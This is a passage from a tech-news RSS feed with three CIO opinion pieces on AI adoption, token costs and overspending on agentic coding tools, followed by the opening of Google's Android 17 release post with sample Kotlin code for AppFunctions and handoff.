<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
